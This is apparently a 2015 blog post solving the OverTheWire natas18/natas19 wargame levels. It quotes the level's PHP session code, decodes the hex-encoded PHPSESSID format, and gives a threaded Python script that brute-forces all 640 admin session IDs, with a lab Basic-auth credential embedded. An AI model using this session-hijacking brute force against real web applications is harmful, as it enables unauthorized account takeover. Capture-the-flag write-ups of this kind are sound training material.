Solution for wargame natas19

Posted on Di 15 September 2015 in Php

Hi everyone

I am still trying to solve wargames on overthewire. Level 19 proofed to be very similar to level 18, where server side code looks something like the following:

<?

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() { /* {{{ */
    if($_REQUEST["username"] == "admin") {
    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }

    return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
    return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
    global $maxid;
    return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg";
    }
}
/* }}} */
function my_session_start() { /* {{{ */
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
        if(!session_start()) {
            debug("Session start failed");
            return false;
        } else {
            debug("Session start ok");
            if(!array_key_exists("admin", $_SESSION)) {
                debug("Session was old: admin flag set");
                $_SESSION["admin"] = 0; // backwards compatible, secure
            }
            return true;
        }
    }

    return false;
}
/* }}} */
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
        print "You are an admin. The credentials for the next level are:";
        print "Username: natas19n";
        print "Password: ";  
    } else {  
        print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";  
    }  
}  
/* }}} */

$showform = true;  
if(my_session_start()) {  
    print_credentials();  
    $showform = false;  
} else {  
    if(array_key_exists("username", $_REQUEST) &&
        array_key_exists("password", $_REQUEST)) {  
            session_id(createID($_REQUEST["username"]));  
            session_start();  
            $_SESSION["admin"] = isValidAdminLogin();  
            debug("New session started");  
            $showform = false;  
            print_credentials();  
    }  
}

if($showform) {  
?>

Please login with your admin account to retrieve credentials for
natas19.

<form action="index.php" method="POST">
Username: <input name="username">

Password: <input name="password">

<input type="submit" value="Login"></input>

</form>
<? } ?>

Assuming register_globals are off in the php.ini, we cannot really inject some values to alter the logic of the code. Furthermore isValidAdminLogin() always returns 0 and never 1, which is our aim. But we immediately see that admin cookies are generated in a fixed, small range:

function createID($user) { /* {{{ */ global $maxid; // maxid = 640 return rand(1, $maxid); }

So we can just try brute forcing all cookies from 1 to 640 and we will soon be admin.

Now level19 has a very similar code, but the cookie is generated slightly more complex: First I tried some login attempts with different username/password combinations:

blabla:blabla -> PHPSESSID=3235392d 626c61 626c61; path=/; HttpOnly blublu:blublu -> PHPSESSID=3436382d 626c75 626c75; path=/; HttpOnly admin:AAAAAAAAAAAA -> PHPSESSID=3538322d 61646d696e; path=/; HttpOnly

We see that the last bytes seem to look like hex values. We can decode this with python:

''.join([chr(i) for i in (0x62, 0x6c, 0x61)]) == 'bla' ''.join([chr(i) for i in (0x61, 0x64, 0x6d, 0x69, 0x6e)]) == 'admin'

Assuming the valid ID's are still in the range 1-640, I need to figure out where the id is hidden in the cookie. Seems like the username ist just appended at the end of the cookie as ascii string. So we need to set it to '61646d696e' for admin. The first three bytes are probably the ID, because the ascii values are all numbers.

Overall cookie format:
NUM NUM NUM HYPHEN/- USERNAME

Examples without ASCII encoding:
123-admin 001-admin 012-admin 640-admin

The solution to crack the code:

#!/usr/bin/python

"""
blabla:blabla ->        PHPSESSID=3235392d 626c61 626c61; path=/; HttpOnly
blublu:blublu ->        PHPSESSID=3436382d 626c75 626c75; path=/; HttpOnly
admin:AAAAAAAAAAAA ->   PHPSESSID=3538322d 61646d696e; path=/; HttpOnly

We see that the last bytes seem to look like hex values:

''.join([chr(i) for i in (0x62, 0x6c, 0x61)]) == 'bla'
''.join([chr(i) for i in (0x61, 0x64, 0x6d, 0x69, 0x6e)]) == 'admin'

Assuming the valid ID's are still in the range 1-640, I need to figure 
out where the id is hidden in the cookie. Seems like the username ist just 
appended at the end of the cookie as ascii string. So we need to set it to 
'61646d696e' for admin. The first three bytes are probably the ID, because
the ascii values are all numbers.

Format:

NUM NUM NUM HYPHEN/- USERNAME

Examples without ASCII encoding:

123-admin
001-admin
012-admin
640-admin
"""

import threading
import requests
import binascii

DEBUG = True

class Bruter(threading.Thread):

    username = 'admin'
    url = 'http://natas19.natas.labs.overthewire.org/index.php'
    headers = {
        'Authorization': 'Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw==',
    }

    def __init__(self):
        super(Bruter, self).__init__()
        self.sids = []

    def stoa(self, value):
        return binascii.hexlify(str(value))

    def run(self):
        for id in self.sids:
            session_id = 'PHPSESSID=' + self.stoa(str(id).zfill(3)) + self.stoa('-') + self.stoa(self.username)
            self.headers['Cookie'] = session_id
            response = requests.get(self.url, headers=self.headers).text

            if DEBUG:
                print('[i] Requesting with sid {}'.format(session_id))

            if 'You are logged in as a regular user.' not in response:
                print('[!] Got something: ' + session_id)
                print(response)


def main():
    # lets spawn 10 threads
    threads = [Bruter() for i in range(10)]

    for sid in range(1, 641):
        threads[sid%10].sids.append(sid)

    for t in threads:
        t.start()

    for t in threads:
        t.join()


if __name__ == '__main__':
    main()